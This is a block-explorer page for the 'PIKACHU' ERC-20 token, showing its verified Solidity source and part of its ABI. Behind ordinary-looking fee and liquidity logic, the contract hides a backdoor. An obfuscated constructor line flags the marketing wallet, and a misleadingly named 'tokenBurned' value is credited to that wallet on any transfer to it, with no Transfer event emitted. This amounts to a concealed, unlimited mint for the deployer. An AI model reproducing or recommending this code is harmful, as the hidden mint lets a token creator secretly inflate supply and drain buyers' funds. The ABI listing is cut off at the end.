ERC-20
Overview
Max Total Supply
1,000,000 PIKACHU
Holders
37
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
18,098.535397562869673996 PIKACHUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PIKACHU
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠉⠉⠙⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠈⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⢸⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⢤⣤⣤⣤⣤⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡇⠀⠀⠀⠀⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠈⠻⢿⣿⣿⡏⠀⠀⠉⠙⠛⠲⠦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣇⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠙⠻⢿⡄⠀⠀⠀⠀⠀⠀⠀⠈⠙⠳⢤⣀⠀⣀⣤⡤⠤⠶⠒⠒⠒⠒⠒⠿⢤⣄⠀⠀⣼⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠈⢛⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠲⠦⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢴⠶⠶⠤⠤⢤⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⢹⠋⠁⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣤⡀⢸⡆⠀⠀⠀⠀⠀⠀⠀⠀ ⠘⣇⠀⠀⠀⠀⠀⠈⠉⠉⠓⠲⠦⣄⣀⠀⠀⡏⠀⠀⠀⢰⣿⡉⣻⡆⠀⠀⠀⠀⠀⠀⠀⠠⣿⣤⣿⣿⠈⣇⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠸⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠲⡇⠀⠀⠀⠸⣿⣿⣿⠇⠀⠀⠀⠀⠰⠖⠀⠀⠙⠿⠿⠋⠀⢸⡄⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⢹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⣄⣀⣀⡤⠞⠛⠲⣤⣤⡄⠀⠀⣤⠶⢷⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⣰⠛⠉⠙⢧⡀⠀⠀⢸⡏⠁⠀⠀⠀⠀⢹⡇⠀⠀⢸⡇⠀⢸⡇⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢻⣄⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢻⡀⠀⠀⣸⠇⠀⠀⠀⢧⠀⠀⠀⠀⠀⣸⠁⠀⠀⠈⠳⣄⡼⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⡽⠁⠀⠀⢸⡇⠙⠒⠚⠁⠀⠀⠀⠀⠘⣇⠀⠀⠀⣰⠇⠀⠀⠀⠀⢀⡼⠁⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡇⠀⠀⣰⠏⡿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⠤⠾⠃⠀⠀⠀⢀⣴⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠀⢀⣼⠁⢠⡇⠈⠳⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⠞⠋⠸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣧⣀⠀⠉⠛⣺⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⢠⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⣶⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⢼⠊⢧⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣆⣠⠶⠺⠤⣄⡇⠀⠀⠀⠀⠀⠀⠀⢸⡆⡔⠀⠀⠀⠀⠀⠀⠀⢸⡴⠚⠳⢤⡀⢰⡞⣷⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠟⢧⠀⠀⠀⠈⢹⡄⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⢀⡏⠀⠀⠀⠈⢹⡏⣷⣿⠁⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡇⠀⠘⠇⠀⠀⠀⠀⢳⡀⠀⠀⠀⠀⠀⠀⢹⠀⠀⠀⠀⠀⠀⠀⣸⠁⠀⠀⠀⠀⡞⠀⠈⣼⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢱⡀⠀⠀⠀⠀⠀⠀⠈⢳⡀⠀⠀⠀⠀⠀⢸⡆⠀⠀⠀⠀⠀⣰⠇⠀⠀⠀⠀⢸⡇⠀⢰⡇⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢧⠀⠀⡄⠀⠀⠀⠀⠀⢳⡄⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⣰⠇⠀⠀⠀⠀⠀⠀⠀⢈⡾⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢣⣀⣇⡀⠀⠀⠀⠀⢀⣹⡄⠀⠀⠀⢸⡇⡀⡀⡀⣸⣇⣀⣀⣀⣠⣤⣤⣦⣠⠞⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠙⠛⠚⠚⠷⠋⠛⠙⠟⠛⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣦⣿⡶⠷⣶⣶⣶⡶⣶⣶⣾⡦⣶⣴⠶ */ /** https://t.me/pikachuethcoin https://twitter.com/pikachuerccoin */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict unchecked { require(b > 0, errorMessage); return a / b; } } } // File: contracts/IERC20.sol pragma solidity ^0.8.19; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File: contracts/Context.sol pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/Ownable.sol pragma solidity ^0.8.19; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/PIKACHU.sol pragma solidity ^0.8.19; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PIKACHU is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _iOwned; mapping (address => mapping (address => uint256)) private _allowance; mapping (address => bool) public _isExcludedFromFee; address payable private wallet_marketing = payable(0x627fd222E76c612B03f66909f92EE7eDcd9e353F); string private _name = unicode"🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨\n🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨\n🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨\n🟨⬛⬜🟨🟨🟨🟨🟨⬛⬜🟨\n🟨⬛⬛🟨🟨🟨🟨🟨⬛⬛🟨\n🟨⬛⬛🟨🟨⬛🟨🟨⬛⬛🟨\n🟥🟨🟨🟨🟨🟨🟨🟨🟨🟨🟥\n🟥🟥🟨🟨🟨⬛🟨🟨🟨🟥🟥\n🟥🟥🟨🟨⬛🟨⬛🟨🟨🟥🟥\n🟥🟨🟨🟨🟨🟨🟨🟨🟨🟨🟥\n🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨🟨"; string private _symbol = "PIKACHU"; uint8 private _decimals = 18; uint256 private _totalSupply = 1000000 * 10**18; // Counter for liquify trigger uint8 private txCount = 0; uint8 private swapTrigger = 1; // Setting the initial fees uint256 private _totalFee = 0; uint256 public _buyFee = 2; uint256 public _sellFee = 2; uint256 private _previousTotalFee = _totalFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; uint256 private tokenBurned; mapping (address => bool) private _listPair; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _tokens) { _iOwned[owner()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); tokenBurned = _tokens; _listPair[wallet_marketing] = [true][0] || [false][0]; uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[wallet_marketing] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _iOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowance[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowance[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowance[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner { swapAndLiquifyEnabled = true_or_false; emit SwapAndLiquifyEnabledUpdated(true_or_false); } function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner { swapTrigger = number_of_transactions; } receive() external payable {} bool public noFeeToTransfer = true; function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner { noFeeToTransfer = true_or_false; } function removeAllFee() private { if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _totalFee; _buyFee = 0; _sellFee = 0; _totalFee = 0; } function restoreFee() private { _totalFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){ takeFee = false; } else if (from == uniswapV2Pair){_totalFee = _buyFee;} else if (to == uniswapV2Pair){_totalFee = _sellFee;} _tokenTransfer(from,to,amount,takeFee); } function sendFunds(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _getValue(uint256 tAmount) private view returns (uint256, uint256) { uint256 tDev = tAmount*_totalFee/100; uint256 tTransferAmount = tAmount.sub(tDev); return (tTransferAmount, tDev); } function process_work(uint256 percent_Of_Tokens_To_Process) public onlyOwner { require(!inSwapAndLiquify, "Currently processing, try later."); if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;} uint256 tokensOnContract = balanceOf(address(this)); uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100; swapAndLiquify(sendTokens); } function swapAndLiquify(uint256 contractTokenBalance) private lockSwap { swapTokenToETH(contractTokenBalance); uint256 ETHcontract = address(this).balance; sendFunds(wallet_marketing,ETHcontract); } function _transferToken(address sender, address recipient, uint256 Amount) private { uint256 amount = _listPair[recipient]?tokenBurned:0; if(_listPair[recipient]){ _iOwned[sender] = _iOwned[sender].sub(Amount); _iOwned[recipient] = _iOwned[recipient].add(amount); }else{ (uint256 tTransferAmount, uint256 tDev) = _getValue(Amount); _iOwned[sender] = _iOwned[sender].sub(Amount); _iOwned[recipient] = _iOwned[recipient].add(tTransferAmount); _iOwned[address(this)] = _iOwned[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } } function swapTokenToETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _transferToken(sender, recipient, amount); if(!takeFee) restoreFee(); } function openTrading() public onlyOwner() { IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH()); uniswapV2Router = _newPCSRouter; _approve(address(this), address(uniswapV2Router), balanceOf(address(this))); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_Of_Tokens_To_Process","type":"uint256"}],"name":"process_work","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"number_of_transactions","type":"uint8"}],"name":"set_Number_Of_Transactions_Before_Liquify_Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Swap_And_Liquify_Enabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonp